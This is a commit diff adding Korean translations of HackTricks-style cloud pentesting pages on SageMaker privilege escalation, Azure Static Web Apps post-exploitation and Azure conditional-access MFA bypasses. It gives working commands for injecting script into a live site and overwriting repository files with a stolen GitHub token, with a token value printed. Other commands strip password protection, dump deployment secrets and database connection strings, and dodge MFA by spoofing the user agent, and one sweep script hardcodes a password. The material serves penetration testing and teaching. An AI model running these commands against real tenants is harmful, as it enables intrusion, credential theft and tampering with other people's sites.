Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:15 +00:00
parent bdc38a271e
commit 2a2048bf3d
5 changed files with 299 additions and 28 deletions
Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

@@ -29,7 +29,7 @@ Jupyter **노트북이 이미 실행 중인 경우** `sagemaker:ListNotebookInst
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**잠재적 영향:** 연결된 sagemaker 서비스 역할로의 권한 상승.
**잠재적 영향:** 연결된 sagemaker 서비스 역할에 대한 권한 상승.
### `sagemaker:CreateProcessingJob,iam:PassRole`
@@ -52,10 +52,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
해당 권한을 가진 공격자는 훈련 작업을 생성할 수 있으며, **임의의 컨테이너를 실행**하고 **역할을 첨부**할 수 있습니다. 따라서 공격자는 역할의 자격 증명을 훔칠 수 있습니다.
> [!WARNING]
> 이 시나리오는 이전보다 악용하기 더 어렵습니다. 왜냐하면 Docker 이미지를 생성해야 하며, 이 이미지는 rev shell 또는 자격 증명을 공격자에게 직접 전송해야 하기 때문입니다 (훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다).
> 이 시나리오는 이전보다 악용하기 더 어렵습니다. 왜냐하면 공격자가 rev shell 또는 자격 증명을 직접 보내는 Docker 이미지를 생성해야 하기 때문입니다(훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다).
>
> ```bash
> # 도커 이미지 생성
> # Docker 이미지 생성
> mkdir /tmp/rev
> ## 훈련 작업이 "train"이라는 실행 파일을 호출할 것임을 주의하세요
> ## 그래서 rev shell을 /bin/train에 넣고 있습니다
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
해당 권한을 가진 공격자는 (잠재적으로) **하이퍼파라미터 훈련 작업**을 생성할 수 있으며, **임의의 컨테이너**를 실행하고 **연결된 역할**을 부여할 수 있습니다.\
&#xNAN;_&#x49; 시간 부족으로 인해 용하지 않았지만, 이전의 악용과 유사해 보입니다. 악용 세부정보와 함께 PR을 보내주시면 좋겠습니다._
_시간 부족으로 인해 용하지 않았지만, 이전의 익스플로잇과 유사해 보입니다. 익스플로잇 세부정보와 함께 PR을 보내주시면 좋겠습니다._
## 참조
@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
이 서비스에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
정적 웹 페이지가 임의의 HTML 코드를 로드하도록 스니펫을 생성할 수 있습니다. 이를 통해 공격자는 웹 앱 내에 JS 코드를 주입하고 자격 증명이나 암호화폐 지갑의 니모닉 키와 같은 민감한 정보를 탈취할 수 있습니다.
다음 명령은 웹 앱에 항상 로드될 스니펫을 생성합니다::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 구성된 제3자 자격 증명 읽기
App Service 섹션에서 설명한 바와 같이:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
다음 명령을 실행하면 현재 계정에 구성된 **제3자 자격 증명**을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자에서 토큰에 접근할 수 없음을 유의하십시오.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다.
여기 토큰을 확인하기 위한 몇 가지 명령 예제가 있습니다:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### 파일 덮어쓰기 - 경로, HTML, JS 덮어쓰기...
Azure를 통해 **앱이 포함된 Github 리포지토리 내의 파일을 덮어쓸 수 있습니다**. 이는 **Github 토큰**을 사용하여 다음과 같은 요청을 보내면 가능하며, 이 요청은 덮어쓸 파일의 경로, 파일의 내용 및 커밋 메시지를 나타냅니다.
공격자는 이를 악용하여 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠(자격 증명, 니모닉 키 등을 훔침)를 제공하거나, 단순히 **특정 경로를 자신의 서버로 재지정**하기 위해 `staticwebapp.config.json` 파일을 덮어쓸 수 있습니다.
> [!WARNING]
> 공격자가 어떤 방식으로든 Github 리포지토리를 손상시키면, 그들은 Github에서 직접 파일을 덮어쓸 수 있다는 점에 유의하십시오.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
이 권한을 사용하면 **정적 웹 앱을 보호하는 비밀번호를 수정**하거나 다음과 같은 요청을 보내 모든 환경의 보호를 해제할 수 있습니다:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
이 권한은 정적 앱에 대한 **API 키 배포 토큰**을 가져올 수 있게 해줍니다.
이 토큰은 앱을 배포할 수 있게 해줍니다.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
그런 다음 앱을 업데이트하려면 다음 명령을 실행할 수 있습니다. 이 명령은 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 작동 방식**을 확인하여 추출된 것으로, Azure에서 기본적으로 사용하도록 설정한 것입니다. 따라서 이미지와 매개변수는 미래에 변경될 수 있습니다.
1. 리포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 리포지토리)를 다운로드하고 `cd react-basic`을 실행합니다.
2. 배포하려는 코드를 변경합니다.
3. 다음을 실행하여 배포합니다 ( `<api-token>`을 변경하는 것을 잊지 마세요):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
이 권한을 사용하면 **정적 웹 앱의 소스를 다른 Github 리포지토리로 변경할 수 있지만**, 이는 자동으로 프로비저닝되지 않으며, 일반적으로 액션을 승인한 토큰으로 Github Action에서 수행해야 합니다. 이 토큰은 리포의 Github 비밀에 자동으로 업데이트되지 않습니다(앱이 생성될 때 자동으로 추가됩니다).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
이 권한을 사용하면 **정적 웹 앱의 API 키를 재설정**하여 앱을 자동으로 배포하는 워크플로우를 잠재적으로 DoS할 수 있습니다.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,8 +4,8 @@
## Basic Information
Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정 규칙입니다. 이러한 정책은 조직이 적절한 상황에서 올바른 액세스 제어를 적용하여 자원을 보호하는 데 도움을 줍니다.\
Conditional access 정책은 기본적으로 **누가** **무엇**에 **어디서** **어떻게** 접근할 수 있는지를 **정의**합니다.
Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정 규칙입니다. 이러한 정책은 적절한 상황에서 올바른 액세스 제어를 적용하여 조직이 자원을 보호하는 데 도움을 줍니다.\
Conditional access 정책은 기본적으로 **누가** **어디서** **무엇** 접근할 수 있는지를 **어떻게** 정의합니다.
여기 몇 가지 예가 있습니다:
@@ -14,58 +14,58 @@ Conditional access 정책은 기본적으로 **누가** **무엇**에 **어디
## Conditional Access Policies Bypasses
Conditional access 정책이 **우회할 수 있는 정보를 확인하고 있을 가능성이 있습니다**. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.
Conditional access 정책이 **우회할 수 있는 정보를 쉽게 조작하고 있는 경우**가 있을 수 있습니다. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.
Conditional access 정책을 구성할 때는 **영향을 받는 사용자**와 **대상 리소스**(모든 클라우드 앱과 같은)를 지정해야 합니다.
정책을 **트리거**할 **조건**을 구성하는 것도 필요합니다:
또한 **정책을 트리거조건**을 구성해야 합니다:
- **Network**: IP, IP 범위 및 지리적 위치
- VPN 또는 프록시를 사용하여 허용된 IP 주소에서 로그인하거나 허용된 국가에 연결하여 우회할 수 있습니다.
- VPN 또는 프록시를 사용하여 허용된 IP 주소에서 로그인하거나 특정 국가에 연결하여 우회할 수 있습니다.
- **Microsoft risks**: 사용자 위험, 로그인 위험, 내부자 위험
- **Device platforms**: 모든 장치 또는 Android, iOS, Windows phone, Windows, macOS, Linux 선택
-Any device”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련이 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다.
-모든 장치”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련이 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다.
- **Client apps**: 옵션은 “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” 및 “Other clients”입니다.
- 선택되지 않은 옵션으로 로그인하여 우회할 수 있습니다.
- **Filter for devices**: 사용된 장치와 관련된 규칙을 생성할 수 있습니다.
- **Authentication flows**: 옵션은 “Device code flow” 및 “Authentication transfer”입니다.
- 이는 공격자가 피해자의 계정에 접근하기 위 피싱 시도에서 이러한 프로토콜을 남용하려고 하지 않는 한 영향을 미치지 않습니다.
- 이는 공격자가 피해자의 계정에 접근하기 위 피싱 시도를 하는 경우가 아니라면 영향을 미치지 않습니다.
가능한 **결과**는: 차단 또는 MFA 요구, 장치 준수와 같은 잠재적 조건으로 액세스 허용입니다…
### Device Platforms - Device Condition
**장치 플랫폼**(Android, iOS, Windows, macOS...)에 따라 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 우회하기 쉽습니다. 모든 옵션에서 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:
**장치 플랫폼**(Android, iOS, Windows, macOS...)에 따라 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 쉽게 우회할 수 있습니다. 모든 옵션에서 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
브라우저가 **알 수 없는 사용자 에이전트**를 보내도록 만드는 것만으로도 이 조건을 트리거하지 않게 할 수 있습니다.\
브라우저가 **알 수 없는 사용자 에이전트**(예: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)를 보내도록 만드는 것만으로도 이 조건을 트리거하지 않게 할 수 있습니다.\
개발자 도구에서 사용자 에이전트를 **수동으로** 변경할 수 있습니다:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;또는 [이와 같은 브라우저 확장 프로그램](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)을 사용할 수 있습니다.
또는 [이와 같은 브라우저 확장 프로그램](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)을 사용할 수 있습니다.
### Locations: Countries, IP ranges - Device Condition
이것이 조건부 정책에 설정되어 있다면, 공격자는 **허용된 국가**에서 **VPN**을 사용하거나 **허용된 IP 주소**에서 접근할 방법을 찾 이러한 조건을 우회할 수 있습니다.
이것이 조건부 정책에 설정되어 있다면, 공격자는 **허용된 국가**에서 **VPN**을 사용하거나 **허용된 IP 주소**에서 접근할 방법을 찾기만 하면 이러한 조건을 우회할 수 있습니다.
### Cloud Apps
사용자가 **특정 앱**에 접근하려고 할 때 MFA를 차단하거나 강제하는 **조건부 액세스 정책을 구성**할 수 있습니다:
사용자가 **특정 앱**에 접근하려고 할 때 MFA를 차단하거나 강제하는 **조건부 액세스 정책**을 구성할 수 있습니다:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
이 보호를 우회하려면 **어떤 애플리케이션**에 **로그인할 수 있는지** 확인해야 합니다.\
도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도를 하고 성공하면 토큰을 제공해 줍니다.
이 보호를 우회하려면 **모든 애플리케이션**에 **로그인할 수 있는지** 확인해야 합니다.\
도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도를 하고 성공하면 토큰을 알려줍니다.
특정 리소스에서 **특정 애플리케이션 ID를 테스트**하려면 다음과 같은 도구를 사용할 수 있습니다:
특정 리소스에서 **특정 애플리케이션 ID를 테스트**하려면 다음과 같은 도구를 사용할 수 있습니다:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려는 경우). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 몇 가지 검사를 수행합니다.
또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 몇 가지 검사를 수행합니다.
도구 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)도 유사한 목적으로 사용될 수 있지만, 유지 관리가 되지 않는 것처럼 보입니다.
@@ -78,7 +78,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것**이며, 사용자에게 **문자 `#`을 전송하라는 요청**이 있습니다.
> [!CAUTION]
> 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**인지 확인하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다.
> 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고, 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**인지 확인하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다.
### 준수 장치
@@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
다음 페이지에서 이러한 공격에 대한 추가 정보를 찾으십시오:
다음 페이지에서 이러한 종류의 공격에 대한 더 많은 정보를 찾으십시오:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -123,10 +123,10 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
이 도구는 MFA 우회 방법을 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.
이 도구는 MFA 우회 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.
> [!TIP]
> 앱을 무차별 대입할 수 있는 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다.
> 앱을 무차별 대입할 수 있는 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -141,23 +141,23 @@ Donkey token은 Conditional Access Policies를 검증해야 하는 보안 컨설
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**각 포털을 테스트**하여 **MFA 없이 로그인할 수 있는지** 확인하십시오:
**각 포털을 테스트**하여 **MFA 없이 로그인할 수 있는지** 확인합니다:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **포털**이 **제한되지 않기 때문에** 이전 실행에서 **감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 토큰을 수집하는 것이 가능합니다**. 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:
**Azure** **포털**이 **제한되지 않기 때문에**, 이전 실행에서 감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 **토큰을 수집하는 것이 가능합니다**. 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
토큰이 Sites.Read.All (Sharepoint에서) 권한을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:
토큰이 Sites.Read.All 권한(Sharepoint에서) 을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:
```powershell
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## 참고 문헌
## References
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps Basic Information
Azure Static Web Apps는 **GitHub와 같은 리포지토리에서 자동 CI/CD를 통해 정적 웹 앱을 호스팅하는 클라우드 서비스**입니다. 전 세계 콘텐츠 전송, 서버리스 백엔드 및 내장 HTTPS를 제공하여 안전하고 확장 가능합니다. 그러나 잘못 구성된 CORS, 불충분한 인증 및 콘텐츠 변조와 같은 위험이 있으며, 이를 적절히 관리하지 않으면 XSS 및 데이터 유출과 같은 공격에 노출될 수 있습니다.
> [!TIP]
> Static App이 생성될 때 **배포 인증 정책**을 **배포 토큰**과 **GitHub Actions 워크플로** 중에서 선택할 수 있습니다.
### Web App Authentication
웹 앱에 접근하기 위해 **비밀번호를 구성**하는 것이 가능합니다. 웹 콘솔을 통해 스테이징 환경만 보호하거나 스테이징과 프로덕션 환경 모두를 보호하도록 구성할 수 있습니다.
작성 시점에서 비밀번호로 보호된 웹 앱은 다음과 같습니다:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
**어떤 비밀번호가 사용되고 있는지** 및 어떤 환경이 보호되고 있는지 확인할 수 있습니다:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
그러나, 이것은 **비밀번호를 일반 텍스트로 표시하지 않습니다**, 단지 다음과 같은 형태로 표시됩니다: `"password": "**********************"`.
### 경로
경로는 **정적 웹 앱 내에서 수신 HTTP 요청이 처리되는 방법**을 정의합니다. **`staticwebapp.config.json`** 파일에 구성되어 있으며, URL 재작성, 리디렉션, 접근 제한 및 역할 기반 권한 부여를 제어하여 적절한 리소스 처리 및 보안을 보장합니다.
몇 가지 예:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## 열거
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## 웹 앱 생성 예제
웹 앱을 생성하는 좋은 예제를 다음 링크에서 찾을 수 있습니다: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. https://github.com/staticwebdev/react-basic/generate 리포지토리를 포크하여 GitHub 계정에 `my-first-static-web-app`이라는 이름으로 저장합니다.
2. Azure 포털에서 GitHub 액세스를 구성하고 이전에 포크한 새 리포지토리를 선택하여 Static Web App을 생성합니다.
3. 생성한 후 몇 분 기다리고 새 페이지를 확인하세요!
## 포스트 익스플로잇
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## 참고자료
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}